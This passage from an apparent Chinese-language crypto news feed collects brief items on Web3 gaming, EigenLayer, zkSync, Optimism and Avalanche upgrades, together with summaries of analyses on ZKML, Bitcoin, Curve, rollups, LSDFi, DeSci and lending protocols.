可以在不同的游戏和游戏机之间转移。该专利最初于上周提交，将允许索尼产品 ( 如旗舰 PlayStation ) 的玩家拥有可互操作的 Web3 游戏体验。玩家可以在虚拟现实头盔、平板电脑、电脑和智能手机等设备之间转移游戏内资产。专利申请还指出，“在一些例子中，NFT 可以跨代使用 ( 例如，从 PS4 到 PS5 ) 。” 4. 专注于 Web3 领域的印度社交游戏平台 WinZO 推出 5000 万美元游戏开发者基金 专注于 Web3 领域的印度社交游戏和互动娱乐平台 WinZO 宣布推出 5000万 美元游戏开发者基金（Game Developer Fund），该基金是 WinZO 过去四年中推出的第四支基金。据加密数据平台 RootData 显示，WinZO 的投资组合包括游戏开发工作室 Bombay Play、Web3 游戏公司 IndiGG 和 Upskillz、 以及基于区块链的创作者经济和流媒体初创公司 Glip。 5. 游戏巨头 Epic Games 将在明年年初前上架近20款加密游戏 视频游戏堡垒之夜（Fortnite）开发商 Epic Games 商店总经理 Steve Allison 近期在接受 Axios 采访时表示，目前商店上架了 5 款加密游戏，将在 2024 年初之前，上架近 20 款加密游戏。但是，Epic 自身并不会参与加密游戏的制作或发布。 两大传统游戏巨头向 Web3 领域的动作都在一定程度上代表了未来游戏的发展方向。传统游戏与 NFT、GameFi 的结合将是必然的趋势。虽然链游赛道仍在探索之中，但是本月有一些大制作的链游如 Matr1x FIRE 已经进入玩家视野，它们展现了足够的创作诚意，其游戏画质和可玩性完全不输传统 Web2 游戏。  ( 3 min )
    EigenLayer发布第一阶段测试网，支持两种再质押方式
    PANews 4月7日消息，以太坊再质押协议EigenLayer在博客文章中宣布，其已发布EigenLayer协议第一阶段测试网，该测试网建立在以太坊Goerli网络上，目前仅支持流动性再质押和原生再质押。流动性质押支持在EigenLayer合约上重新抵押各种流动性代币。EigenLayer的发布将分三个阶段进行，分别为质押者、节点运营商和服务。EigenLayer表示，该测试网是早期的非激励性测试网，代码正在积极开发中。 此前3月份消息，EigenLabs完成5000万美元A轮融资，Blockchain Capital领投。 相关阅读：以太坊再质押协议EigenLayer测试网教程  ( 1 min )
    某zkSync生态项目921枚ETH融资资金被卡至合约中，zkSync正帮忙解决
    PANews 4月7日消息，The Block研究主管Eden Au在推特上表示：“zkSync上的一个项目通过代币销售筹集到921 ETH（170万美元），但资金会被永远卡在智能合约中。transfer()函数适用于以太坊和其他EVM链，但不适用于zkSync。” 对此，zkSync回应称：“不会卡在智能合约中，正在与团队合作，帮助他们解决问题，稍后会发布详细更新。”此外，推特用户@0xAA_Science补充道：“在Solidity合约中，有3种常用的方法发送ETH：transfer、send和call，其中call是被鼓动使用的方法，另外两种未来可能被废弃。我查阅了zkSync的文档，没有看到哪里写到不支持transfer和send方法，但目前只有call方法可以正常转账ETH。 ”  ( 1 min )
    Optimism：Token House已批准主网Bedrock升级
    PANews 4月7日消息，据官方推特，以太坊二层解决方案Optimism宣布，其治理组织Token House已通过投票批准了Optimism主网Bedrock升级。推文中表示，这不仅是Collective使用新的投票页面进行的第一次链上投票，这也是关于第一次协议升级。 该投票链接的是Bedrock升级提案V2版本，升级标准流程为先在Optimism Goerli上进行Regolith硬分叉，待审计修复后，在测试网上进行2周的测试，只有在达到测试网稳定性的标准后，Optimism基金会才会宣布升级日期，至少在发布日期后3周。升级将在特定时间触发，而不是区块高度。 相关阅读：Bedrock架构会让Optimism成为最好的Rollup吗？  ( 1 min )
    Avalanche已在Fuji测试网上激活Cortina升级
    PANews 4月7日消息，据Ava Labs工程主管Patrick O'Grady的推文，Avalanche已于北京时间昨日23:00在Fuji测试网上成功激活Cortina升级。 根据此前消息，最新版本的AvalancheGo将迁移X-Chain以运行Snowman++共识，这意味着整个网络已经迁移到一个单一的共识引擎，这减少了可信计算基础的规模并增加了现有研发工作的杠杆作用，这解除了Avalanche Warp Messaging (AWM)在X-Chain上的集成，并使交易所更容易支持X-Chain，其中将包含子网上使用的许多质押代币。Cortina升级还引入了批处理授权奖励并将C-Chain gas上限提高至1500 gas。  ( 1 min )
    密码学新趋势：零知识机器学习是什么？
    原文：《AN INTRODUCTION TO ZERO-KNOWLEDGE MACHINE LEARNING (ZKML)》by dcbuilder.eth, Worldcoin 编译：深潮 TechFlow Zero-Knowledge 机器学习（ZKML）是最近正在密码学界引起轰动的一个研究和开发领域。但它是什么，有什么用处呢？首先，让我们把这个术语分解成它的两个组成部分，并解释一下它们是什么。 零知识证明是一种密码协议，其中一方（证明者）可以向另一方（验证者）证明一个给定的陈述是真实的，而不泄露除该陈述为真以外的任何附加信息。这是一个正在各个方面取得巨大进展的研究领域，涵盖了从研究到协议实施和应用的所有方面。 ZK 提供的两个主要“原语”（或者说构建块）是能够为一组给定的计算创建具有计算完整性证明的能力，其中证明比执行计算本身要容易地多。（我们称这种属性为“简洁性”）。ZK 证明也提供了隐藏计算中某些部分同时保持计算正确性的选项。（我们称这种属性为“零知识性”）。 生成零知识证明需要非常大的计算量，大约比原始计算贵 100 倍。这意味着，在某些情况下由于最佳硬件上生成它们所需的时间使其不切实际，因此不能计算零知识证明。 然而，在近年来密码学、硬件和分布式系统领域的进步已经使零知识证明成为了越来越强大的计算可行的选择。这些进展已经为可以使用计算密集型证明的协议的创建提供了可能，从而扩大了新应用程序的设计空间。 零知识密码学是 Web3 空间中最流行的技术之一，因为它允许开发人员构建可扩展和/或私有的应用程序。以下是一些实践中如何使用它的示例（尽管请注意，这些项目中许多都还在进行中）： 1.通过 ZK rollups 扩展以太坊 2.构建保护隐私的应用程序 3.身份原语和数据来源 4.第一层协议 随着 ZK 技术的成熟，我们相信将会出现新的应用程序的爆发，因为构建这些应用程序所使用的工具将需要更少的领域专业知识，对于开发人员来说将会更加容易使用。 机器学习是人工智能（“AI”）领域的一个研究方向，使得计算机可以自动从经验中学习和改进，无需明确地进行编程。它利用算法和统计模型来分析和识别数据中的模式，然后基于这些模式进行预测或决策。机器学习的最终目标是开发出能够自适应学习、不需要人类干预以及在医疗保健、金融和交通等各个领域解决复杂问题的智能系统。 最近，您可能已经看到了大型语言模型（如 chatGPT 和 Bard）以及文本到图像的模型（如 DALL-E 2、Midjourney 或 Stable Diffusion）的进展。随着这些模型变得越来越好，并且能够执行更广泛的任务，了解是哪个模型执行了这些操作就变得非常重要，还是操作由人类执行。在接下来的部分中，我们将探讨这个思路。 我们生活在一个世界上，AI/ML 生成的内容越来越难以与人类生成的内容区分开来。零知识密码学将使我们能够做出这样的声明：“给定一段内容 C，它是由模型 M 应用于一些输入 X 生成的。”我们将能够验证某个输出是否是由大型语言模型（如 chatGPT）或文本到图像模型（如 DALL-E 2）等任何其他我们为其创建了零知识电路表示的模型所生成的。这些证明的零知识属性将使我们能够根据需要也隐藏输入或模型的某些部分。一个很好的例子是在一些敏感数据上应用机器学习模型，在不透露输入到第三方的情况下，用户可以知道他们的数据在模型推理后的结果（例如，在医疗行业）。 注：当我们谈论 ZKML 时，我们是指创建 ML 模型推理步骤的零知识证明，而不是关于 ML 模型训练（它本身已经非常计算密集）。目前，现有技术水平的零知识系统加上高性能硬件仍然相差几个数量级，无法证明当前可用的大型语言模型（LLMs）等庞大的模型，但是在创建较小模型的证明方面已经取得了一些进展。 我们对零知识密码学在为 ML 模型创建证明的上下文中的现有技术水平进行了一些研究，并创建了一个聚合相关研究、文章、应用程序和代码库的文章集。ZKML 的资源可以在 GitHub 上的 ZKML 社区的 awesome-zkml 存储库中找到。 Modulus Labs 团队最近发布了一篇名为“智能的成本”的论文，其中对现有的 ZK 证明系统进行了基准测试，并列举了不同大小的多个模型。目前，使用像 plonky2 这样的证明系统，在强大的 AWS 机器上运行 50 秒左右，可以为约 1800 万个参数的模型创建证明。以下是该论文中的一张图表： 另一个旨在改进 ZKML 系统技术水平的倡议是 Zkonduit 的 ezkl 库，它允许您创建对使用 ONNX 导出的 ML 模型的 ZK 证明。这使得任何 ML 工程师都能够为他们的模型的推理步骤创建 ZK 证明，并向任何正确实现的验证器证明输出。 有几个团队正在改进 ZK 技术，为 ZK 证明内部发生的操作创建优化硬件，并针对特定用例构建这些协议的优化实现。随着技术的成熟，更大的模型将在较不强大的机器上短时间内进行 ZK 证明。我们希望这些进展将使新的 ZKML 应用程序和用例得以出现。 潜在的使用案例 为了确定 ZKML 是否适用于特定的应用，我们可以考虑 ZK 密码学的特性将如何解决与机器学习相关的问题。这可以用一个 Venn 图来说明： 定义： 1.Heuristic optimization—— 一种问题解决方法，它使用经验法则或“启发式”来找到艰难的问题的好解决方案，而不是使用传统的优化方法。启发式优化方法旨在在相对的重要性和优化难度下，在合理的时间内找到好的或“足够好”的解决方案，而不是尝试找到最优解决方案。 2.FHE ML —— 完全同态加密ML允许开发人员以保护隐私的方式训练和评估模型；然而，与ZK证明不同，没有办法通过密码学方式证明所执行的计算的正确性。 像 Zama.ai 这样的团队正在从事这个领域的工作。 3.ZK vs Validity —— 在行业中，这些术语通常被互换使用，因为有效性证明是ZK证明，不会隐藏计算或其结果的某些部分。在ZKML的上下文中，大多数当前的应用程序都利用了ZK证明的有效性证明方面。 4.Validity ML —— ZK证明ML模型，在其中没有计算或结果被保密。它们证明计算的正确性。 以下是一些潜在的 ZKML 用例示例： 1.计算完整性（有效性 ML） Modulus Labs 基于链上可验证的 ML 交易机器人 - RockyBot 自我改进视觉区块链（示例）： 增强 Lyra 金融期权协议 AMM 的智能特性 为 Astraly 创建透明的基于 AI 的声誉系统（ZK oracle） 使用 ML for Aztec Protocol（具有隐私功能的 zk-rollup）致力于合同级合规工具所需的技术突破。 2.机器学习即服务(MLaaS) 透明； 3.ZK 异常/欺诈检测： 这种应用场景使得可创建针对可利用性/欺诈的 ZK 证明成为可能。异常检测模型可以在智能合约数据上进行训练，并由 DAOs 同意作为有趣的度量标准，以便能够自动化安全程序，如更主动、预防性地暂停合约。已有初创企业正在研究在智能合约环境中使用 ML 模型进行安全目的的方法，因此 ZK 异常检测证明似乎是自然的下一步。 4.ML 推理的通用有效性证明：能够轻松证明和验证输出是给定模型和输入对的乘积。 5.隐私 (ZKML)。 6.去中心化的 Kaggle：证明模型在某些测试数据上的准确率大于 x%，而不会显示权重。 7.隐私保护推理：将对私人患者数据的医疗诊断输入模型，并将敏感的推理（例如，癌症测试结果）发送给患者。 8.Worldcoin： IrisCode 的可升级性：World ID 用户将能够在他们的移动设备的加密存储中自我保管其生物特征，下载用于生成 IrisCode 的 ML 模型并在本地创建零知识证明，以证明其 IrisCode 已成功创建。这个 IrisCode 可以被无需许可地插入注册的 Worldcoin 用户之一，因为接收的智能合约可以验证零知识证明，从而验证 IrisCode 的创建。这意味着，如果 Worldcoin 将来升级机器学习模型以一种破坏与其之前版本兼容性的方式创建 IrisCode，用户就不必再次去 Orb，而可以在设备上本地创建这个零知识证明。 Orb 安全性：目前，Orb 在其受信任的环境中执行几个欺诈和篡改检测机制。然而，我们可以创建一个零知识证明，表明这些机制在拍摄图像和生成 IrisCode 时是活动的，以便为 Worldcoin 协议提供更好的活体保证，因为我们可以完全确定这些机制在整个 IrisCode 生成过程中都将运行。 总之，ZKML 技术有着广泛的应用前景，并且正在快速发展。随着越来越多的团队和个人加入到这个领域，我们相信 ZKML 的应用场景将会更加多样化和广泛化。  ( 3 min )

  • Open

    ARK 比特币月度报告：宏观局势不稳，比特币逆势前行
    Chainfeeds 导读： ARK Invest 出品的比特币月度报告，对加密资产走势、比特币基本面和宏观市场等进行分析。中文版由 ChainCatcher 倩雯编译发布。 文章来源： https://www.chaincatcher.com/article/2090719 文章作者： ARK Invest 观点： ARK Invest：加密货币资产韧性较强：3 月，比特币结算了 6500 亿美元，促成了约 900 万笔交易，通胀率约 1.8%，稳定且可预测，已发行约 26000 枚新 BTC，吸引约 1300 万个新地址，并为保护网络的矿工创造约 7 亿美元。尽管 USDC 暂时脱钩，但 DeFi 生态系统仍然保持韧性，使用 USDC 作为抵押品的 Maker 协议仍在有效运行。 内容来源 ARK Invest：宏观市场显露不确定性：3 月银行储蓄下滑 4.1%，为自 1948 年以来的最大降幅。美联储决定在不到一年内将联邦基金利率提高至创纪录的 20 倍，间接导致硅谷银行破产以及其他地区银行出现危机。美联储将其资产负债表增加 3000 亿美元，启动了对银行的贷款纾困计划，并改变六个月来的量化紧缩政策。 内容来源 ARK Invest：比特币等加密货币仍表现稳定：在硅谷银行陷入破产期间，比特币升值 49%，从 3 月 10 日的 19,500 美元的低点上涨至 3 月 30 日的 29,150 美元。随着中心化、不透明的传统金融系统出现危机，对更透明、可审计和去中心化的金融服务的需求攀升。监管机构不应将银行危机归咎于加密货币，也不应阻止去中心化、透明、可审计、没有中心化故障点的金融平台。相反，监管机构应该重点关注传统银行系统的中心化带来的故障。 内容来源  ( 3 min )
    【英文长推】数据解析 Curve 第一季度关键指标
    Chainfeeds 导读： Curve 第一季度表现强劲，在关键指标上优于大多数同类型产品，其即将推出的升级也将进一步巩固 Curve 的创收能力。对此，Blockworks Research 研究员 Dan Smith 对 Curve 第一季度的关键指标表现及项目进展进行梳理。 文章来源： https://twitter.com/blockworksres/status/1644004401059885058 文章作者： Dan Smith 观点： Dan Smith：Curve 第一季度在以太坊上的交易量为 329 亿美元，环比增长 27%，TVL 为 46 亿美元，环比增长 27%。相比之下，Balancer 和 Sushi 同期交易量分别为 57 亿美元和 39 亿美元。然而，相比 Uniswap 1237 亿美元的交易量，Curve 仅相当于其 23%。这表明 Uniswap V3 仍然是 DeFi 中占主导地位的 AMM。【原文为英文】 内容来源 Dan Smith：CRV 代币在第一季度表现强劲，优于 ETH 及其同类产品。其中 CRV +78%、ETH +52%、BAL +33%、SUSHI +17%、UNI +16%。crvUSD 将于 2023 年推出，这一价格走势表明市场正在关注可能增加收入的产品发布。【原文为英文】 内容来源 Dan Smith：Curve 即将进行两项重大升级：1）crvUSD 是一种 CDP 风格的稳定币，通过存入抵押品和借入稳定币铸造，其清算机制随抵押品价格变化在抵押品和 crvUSD 之间逐步移动存款来保护抵押品。除了从利息费用中创造新的收入来源外，crvUSD 还可能成为上市抵押品类型之间的无感转移机制；2）升级 Tricrypto 合约：Tricrypto pools 利用新颖的 Curve V2 AMM 创建具有任何三种资产的资金池。升级后的合约提高了计算效率，降低了平均交易成本。【原文为英文】 内容来源 Dan Smith：自成立以来，超 12 亿美元的 CRV 流动性激励已被发放给 LPs。第一季度共发放 4910 万美元，其中以太坊获得了 94.8% 的排放量，突出了 Curve 目前对以太坊主网的偏好。此外，Arbitrum 2.3%，Polygon 1.8%，其余部分由 Gnosis、Optimism、Fantom 和 Avalanche 共享。这表明以太坊在 DEX 交易量中的主导地位，但 Curve DAO 应该注意到 L2 的日益普及。一旦升级后的 V2 合约部署在 L2 上，排放量可能随着 L2 活动的增长而增长。【原文为英文】 内容来源  ( 2 min )
    Trader Joe 推出升级版交易引擎 Liquidity Book V2.1
    Trader Joe 推出升级版交易引擎 Liquidity Book V2.1 去中心化交易协议 Trader Joe 宣布推出升级版交易引擎自动做市商 Liquidity Book V2.1。新版本具体功能包括：Autopools、Autopool Receipts、sJOE、Permissionless Pools、Fees now compound、迁移到新的 V2.1 流动性池 与 Maker 式限价订单。 内容来源  ( 2 min )
    盘点 Stacks 生态项目：MultiSafe、Arkadiko Protocol、LNSwap…
    Chainfeeds 导读： Stacks 多年来受到的关注有限，生态项目相较其他公链显得中规中矩，但也不乏少数的新想法。Foresight News 作者 Babywhale 依据 Stacks 官网列出的生态项目进行介绍，各位读者在交互项目时需注意风险。 文章来源： https://foresightnews.pro/article/detail/30244 文章作者： Babywhale（Foresight News） 观点： Babywhale（Foresight News）：DeFi：1）ALEX：Stacks 生态 DEX，包含 Launchpad 功能。据 DefiLlama 数据显示，TVL 约 2297 万美元；2）Arkadiko Protocol：超额抵押稳定币协议，用户可通过 STX、xBTC 及 ALEX 进行超额抵押稳定币 USDA 铸造。此外，该协议也为 USDA 和其他 Stacks 生态资产的交易对建立了流动性池。据官网数据显示，TVL 约 867.3 万美元；3）LNSwap：不使用传统 AMM 模式，而是参考比特币闪电网络的技术特点推出了 submarine swap，可以将比特币、闪电网络上的比特币以及 Stacks 上资产进行原子交换。 内容来源 Babywhale（Foresight News）：NFT：1）Boom：Stacks 原生 NFT 平台，支持 Stacks 生态代币转账，未来将支持 Stacks NFT 交易；2）indexer.xyz：跨链 NFT 索引和 API 基础设施，目前支持 Stacks、NEAR 和 Aptos；3）droplinked：Flatlay 推出的 NFT 推广平台，用户可通过分享 NFT 系列获得奖励。目前支持 Stacks、NEAR、Polygon、Casper、SKALE；4）Gamma.io：Stacks 生态和比特币 Ordinals 的 NFT 交易平台。 内容来源 Babywhale（Foresight News）：钱包：1）D'CENT Wallet：硬件钱包，其生物识别钱包、卡以及软件钱包均可使用单个 App 管理，支持代币超 3000 种；2）Hiro：Stacks 生态开发者工具平台，其产品包括 Stacks 钱包 Hiro Wallet；3）Ryder：社交硬件钱包，用户可通过钱包进行现实世界互动，计划为 NFT、DAO 等提供更多使用场景；4）WISE：开源非托管钱包，支持 Stacks 上资产的发送、接收和托管，同时支持.stx 域名转账；5）MultiSafe：Stacks 和比特币生态多签钱包解决方案，类似 Gnosis Safe。 内容来源  ( 19 min )
    【英文长推】共享排序器如何带来网络效应？
    Chainfeeds 导读： 加密研究员 david phelps 发推解析共享排序器的优势，认为其是目前加密领域为数不多的真正的巨大商机之一，可通过跨链原子可组合性实现网络效应。 文章来源： https://twitter.com/divine_economy/status/1643995475216039938 文章作者： david phelps 观点： david phelps：排序器对链上的交易进行排序，让 rollup 共享一个「去中心化」排序器意味着更好的 MEV 保护和抗审查。共享排序器可以同时处理多条链上的交易，这实现了同步跨链原子可组合性：1）同步性 = 即时性；2）跨链可组合性 = 链间交易；3) 原子 = 如果且唯一的条件。【原文为英文】 内容来源 david phelps：同步跨链原子可组合性意味着链可以实时互操作，共享排序器确保各方之间的交易顺利进行。原子可组合性使改变游戏规则的加密用例成为可能，如桥接代币跨链（燃烧和铸币）、跨链套利、 跨链闪电贷款、在一条链上支付另一条链上交易、NFT 交换等。【原文为英文】 内容来源 david phelps：共享排序器基本上是链互操作的市场，成本是链放弃对自己 MEV 的一些控制，以此获得跨链 MEV，为用户提供更好的服务，以及所有跨链活动的潜在收入。一旦两条链通过共享排序器整合在一起，将提供 10 倍的用户机会和新的收入形式，选择加入共享排序器的链会获得对彼此用户的访问权，这便是网络效应。【原文为英文】 内容来源  ( 2 min )
    LSDFi 协议 0xAcid 的 90% APR 是真实收益吗？
    Chainfeeds 导读： 以太坊上海升级完成后，ETH 的质押收益率可以看作是以太坊的无风险国债利率，基于这一利率衍生出了多种 LSDFi 协议。其中，0xAcid 提供了最高的收益率，目前以 wETH 发放的质押 APR 约 90%，远高于其他协议的 5%-20%，本文详细介绍 0xAcid 如何实现最高的收益率，以及存在哪些风险。 文章来源： https://mp.weixin.qq.com/s/U7fMMDdPGWg4J_mpCKFXLw 文章作者： Cabin VC 观点： Cabin VC：0xAcid 的机制相对复杂，概括来说就是锁定 ACID 可以累积更多国库中 ETH 的索取份额 ，质押 ACID 可以获得更高的 LSD 资产产生的真实收益率。0xAcid 的机制设计首先设定了一个大前提：以太坊会达到 $10k，届时会将国库中所有 ETH 分配给 ACID 持有者，以此吸引 ETH 长期持有者。对于期望获得更多 ETH 份额的用户，可以出让 ETH 质押收益参与锁仓挖矿；对于期望获得更高质押收益的用户，需要承担本金 ETH 被稀释的风险。 内容来源 Cabin VC：虽然 0xAcid 提供的市场上最高 LSD 收益率是真实的，但本金会变得「不真实」。两者的收益率都基于新入场资金数量，带有 Ponzi 属性。参与者相当于同时押注 0xAcid 能吸引更多数量的 ETH 以及 ETH 将在未来达到 $10k，适合风险偏好较高的长期主义者。 内容来源  ( 33 min )
    【英文】Bankless：加密行业 5 个看涨信号
    Chainfeeds 导读： 从历史上看，持续的加密货币牛市不仅由比特币和以太坊的上涨引领，它们在很大程度上也受到应用程序的催化，用例会触发区块空间需求，如 2016-2017 年智能合约和 ICO 的出现，2020-2021 年的 DeFi/NFT 等。Bankless 作者 Ben Giove 发文挖掘正在闪烁着看涨信号，并显示出进入主流市场的强烈迹象的 5 个垂直领域。 文章来源： https://www.bankless.com/liquid-staking-crypto-gaming-perpetuals-nftfi 文章作者： Ben Giove（Bankless 分析师） 观点： Ben Giove（Bankless 分析师）：1）流动性质押：上海升级将于 4 月 12 日启动，并支持质押 ETH 提款。LSD 存款今年起已从 490 万增长至 600 万。上海升级可能会引发「质押超级周期」，即 ETH 质押率将从目前的 15% 上升至接近 PoS 网络平均水平的约 60%，这一预期导致 LSD 发行商的治理代币大幅上涨。此外，质押基础设施也受益于 LSD 的增长，如分布式验证技术（DVT）协议 SSV Network；【原文为英文】 内容来源 Ben Giove（Bankless 分析师）：2）NFTFi：NFT 市场格局在 2023 年发生了巨大变化，Blur 凭借其创新激励计划和代币发行超越 OpenSea 成为领先市场和聚合器，为 NFT 生态系统带来了可观的流动性。SudoSwap 和 Caviar 等其他市场也提供了创新解决方案加深资产类别的流动性。NFT 借贷行业同样增长显著；3）永续 DEX：据 Token Terminal 数据，相比 2022 年第四季度，2023 年第一季度永续合约 DEX 交易量从 9260 亿美元增至 1.643 万亿美元。导致许多永续合约协议治理代币表现优于 ETH，如 dYdX（DYDX）、GMX（GMX）等；【原文为英文】 内容来源 Ben Giove（Bankless 分析师）：4）游戏：游戏行业在 2023 年显示出强大潜力，MAGIC、IMX、RON 和 GALA 等游戏代币表现优于 ETH。Treasure 代币发行、Immutable 发布 zkEVM、RON 质押等催化剂促成了这一结果；5）链上国债（On-Chain Treasuries）：如今，美国国债利率已经超过了最安全协议的农场收益（风险调整后）。此外，USDT 等大型稳定币不向持有者支付利息，增加了链上持有现金的机会成本。对此，Ondo Finance 等提供了从 DeFi 内部访问代币化美国国债的权限，其 OUSG 已吸引 6520 万美元 TVL。【原文为英文】 内容来源  ( 8 min )
    【英文】rollup 指南：回望过去，重新审视 rollup 的现在
    Chainfeeds 导读： 加密 KOL Polynya 撰文总结 rollup 技术每年的发展，并反思自己在面对 L2 时所犯的错误思维，认为自己低估了数据可用性抽样，高估了应用程序的创新。并希望加密领域学会重视可持续的经济和技术模型、公平的治理方案、有用的应用程序和良好的用户体验。 文章来源： https://polynya.mirror.xyz/4zrM8QF3hkjapr_kCDvf_o8pGxenhzJoGa6u16hBQgk 文章作者： polynya 观点： polynya：加密货币领域的 rollup 技术遇到了计划假设的困境，开发进度超过了预期很多。2020 年中出现了 Loopring、zkSync 和 StarkEx with DeversiFi（现在的 RhinoFi）等 rollup 项目。2021 年现在有的 rollup 项目都做得相当不错，许多项目已经解决了排序器、状态测试和测试器故障。需求的核心是智能合约 rollup，由于 L1 的 gas 过高，2020 年末和 2021 年初，这种需求推动了 Optimism、zkSync 和 Arbitrum 等项目的快速推进。【原文为英文】 内容来源 polynya：2020 年，Optimism 成为了备受期望的以太坊 rollup 项目。然而，Optimism 在现实落地上表现得并不好，推迟了线上时间。相比之下，zkEVM 技术却超预期地发展，已经有两个项目在生产中。在 2021 年，Starknet 和 zkSync 成为了 ZKR 领域的重点项目，成功构建了 Solidity 兼顾的 VM。2022 年是以太坊去中心化和性能发展的关键一年，各项目标将集中制定并完善汇聚总体基础架构。【原文为英文】 内容来源 polynya：Arbitrum One 是目前主导的 rollup 领域领导者，已经实现最小可行权力下放。相比其他 rollup ，Arbitrum One 在经济活动和资产流动性方面有着明显优势。在技术方面，Optimism、Starknet、zkSync Era、Polygon zkEVM 等项目与 Arbitrum One 相比落后且前景不明朗。Tezos 最近发布了他们对 enhrined rollup 的看法，这值得以太坊核心开发人员视为灵感。新颖解决方案的项目，如 Aztec 和 Fuel，构建完全私有的智能合约是非常具有挑战性的任务，可能需要数年时间才能成熟。【原文为英文】 内容来源 polynya：ICO 狂热带来的资金并未为大多数区块链应用程序带来意义。应用层创新的巨大浪潮发生在 2017-20 年，大多数对公共区块链有意义的东西已经被构建或构想出来。我对数据可用性采样的低估和对应用层创新的高估抵消了。Arbitrum 是自 2015 年以太坊以来最好的智能合约链，而且感谢技术上优越和长期可持续的解决方案。我认为加密空间需要重视可持续的经济和技术模型、公平的治理方案、有用的应用程序和用户体验。【原文为英文】 内容来源  ( 17 min )
    新项目前瞻 | Arbitrum 生态首个游戏化 DEX：Spartadex 如何通过游戏化形式吸引流动性？
    Chainfeeds 导读： 和传统游戏模式不同，Spartadex 更像是 DEX 和链游的组合，引入了 DeFi、GameFi 和 PFP NFT，把所有的产品都缝到了自己的产品中。加密研究员雨中狂睡在分析了 Spartadex 独特机制后，给出了自己对该项目的看法。 文章来源： https://sleepintherain.substack.com/p/alpha-callspartadex 文章作者： 雨中狂睡 观点： 雨中狂睡：机制：1）DeFi：Spartadex 走的真实收益路线，代币质押参与分红；2）GameFi：Spartadex 在 DeFi 基础上引入了一个游戏层，这个游戏层的 NFT，也就是准入门槛，该门槛由 LP 资产支撑的价值标的；3）PFP NFT：PFP NFT 发行是融资及维护社区粘性的手段。 内容来源 雨中狂睡：个人看法：1）Spartadex 这样的设计会增加用户粘性和活跃度；2）Spartadex 并不是一个纯粹的 GameFi 项目，更多吸引的还是 DeFi 用户。希望做 LP 的用户大多更有粘性；3）Spartadex 基本无法吸引 GameFi 用户，因为 Play2Earn 的奖励少，大头还是做 LP 收益。但是问题在于退出效率变低了，可能会让一些 LP 大户谨慎进入； 内容来源 雨中狂睡：4）Spartadex 有一个能够有效提升代币价格的逻辑：收入回购、只能通过 Spartadex 代币购买子币、LP 收入 75% 直接质押到协议分红池。总体而言是一个 ponzi，但是链条较长，所以能够参与的时间会比较长；5）早期 Spartadex 需要用户的进入，没有用户 LP 飞轮转不起来。 内容来源  ( 3 min )
    【英文】去中心化科学概述： 区块链靠什么颠覆传统科学格局？
    Chainfeeds 导读： 科学研究一直是创新的基础，然而传统科学研究领域一直受到低可及性、数据透明度、中心化资助方式、评审偏见等困扰。随着这些局限性变得越来越明显，对 DeSci 解决方案的迫切性也体现了出来。DBDAO 构建者 Rui 从基础设施、中间件、应用等方面对 DeSci 解决方案进行了完整概述。 文章来源： https://medium.com/@poporuii/decentralized-science-desci-how-blockchain-disrupts-the-science-landscape-64d4cf283e17 文章作者： Rui 观点： Rui：1）基础设施：为了优化性能及最小化成本，DeSci 项目往往会构建在 OP、zkSync 及 Arweave 等基础设施之上；2）中间件：数据库提供了以解雇花格式存储数据的能力，执行访问控制和许可策略并确保数据一致性和完整性。而通过将具有法律约束力的协议纳入 NFT 智能合约，可以保障利益并保持对适用法律法规的遵循。所有权上可以适用 IP-NFT 作为知识产权证明，而零知识证明能够允许研究人员在不影响数据保密性的情况下互相学习借鉴；【原文为英文】 内容来源 Rui：3）应用：融资上，DeSci 提倡以社区为基础的决策来资助研究，主要是通过 DAO，包括 Gitcoin、Molecule 等。数据上，DBDAO 能够将每个数据库变成一个 DAO，使得人猛能够创建独特的可验证数据。DeSci Node 允许研究人员将手稿中的表格、数字与数据和代码联系起来，并创建一个动态的可互操作的版本记录以提升研究过程。ResearchHub 是一个去中心化平台，允许以去中心化的方式出版科学研究。【原文为英文】 内容来源  ( 20 min )
    Eigenlayer 开放第一阶段公共测试网，3 分钟极简交互教程
    Chainfeeds 导读： 以太坊重质押协议 EigenLayer 已开放了第一阶段的公共测试网，IOSG 投资助理 Jiawei 撰写了 3 分钟极简交互教程。 文章来源： https://twitter.com/elegy4thearctic/status/1644167607157923842 文章作者： Jiawei 观点： Jiawei：如果你在 Goerli 测试网上还没有 ETH，请先在 https://goerlifaucet.com 水龙头获取。当前 EigenLayer 的测试网（https://goerli.eigenlayer.xyz）提供了两种 Restaking 方式：LSD Restaking 和 Native Restaking，对于新手我们更推荐前一种方式。你需要在测试网上获取 Rocketpool 的 rETH 以及 Lido 的 stETH。 内容来源 Jiawei：在这里（https://testnet.rocketpool.net）将你的 Goerli ETH 兑换为 Rocketpool 的 rETH。要获取 Lido 的 stETH，请在小狐狸钱包点击「发送」，并复制合约地址（0x1643E812aE58766192Cf7D2Cf9567dF2C37e9B7F），接下来选择你想要兑换的 stETH 数量，并根据指示完成兑换。兑换成功后，在钱包里复制上述地址，添加 stETH 到钱包。接下来可以回到 EigenLayer 的测试网主页进行 Restaking。分别点击 Rocketpool ETH 和 Lido Staked ETH 的选项，根据指示完成 Restaking 即可。 内容来源  ( 2 min )
    【英文长推】解读货币市场的「改造者」：无许可和风险隔离的借贷协议 Silo Finance
    Chainfeeds 导读： 加密研究员 jedi blocmates 认为 Silo Finance 是货币市场的改造者，其最重要的特点是风险隔离，撰推分析了其协议原理、风险隔离、协议机制、清算流程、超额抵押稳定币 $XAI 及其用例，和协议收入。 文章来源： https://twitter.com/jediblocmates/status/1643225513903923200 文章作者： jedi blocmates 观点： jedi blocmates：1）风险隔离：Silo 最重要的是通过隔离借贷市场来隔离风险，开发一个单独的市场，其他贷方不会受到影响，则风险得到限制。市场中的每个代币都与桥梁资产 $ETH 和 $XAI（Silo 的超额抵押稳定币）配对，尽管如此，这种风险隔离的机制使 Silo 或代币市场相互联系，但仅限于各自的资金池。 内容来源 jedi blocmates：2）协议机制：Silo = 隔离的借贷市场，每个市场内的一篮子代币有两种类型，即独特的代币（存入的代币）和桥梁资产 —— 作为连接物存在每个 silo 中（ETH 和 XAI 作为风险抵押物）。Silo 中的每项资产都可以用作贷款和抵押品，因此用户可以使用任何形式的抵押品借入任何代币，相关风险仅限于特定的池或者 silo。这解锁了长尾资产作为借贷市场抵押品的使用。【原文为英文】 内容来源 jedi blocmates：3）清算流程：当借款人的健康状况 = 0 时，触发清算。然后出售存放的抵押品以偿还债务，清算者也从清算中赚取清算费用。4）XAI：桥接资产的超额抵押稳定币，与美元软挂钩，用例是二级桥接资产，也可以作为抵押品，在 silo 中挖矿解锁杠杆市场，XAI 的信贷额度由 siloDAO 延长或收回。【原文为英文】 内容来源  ( 2 min )
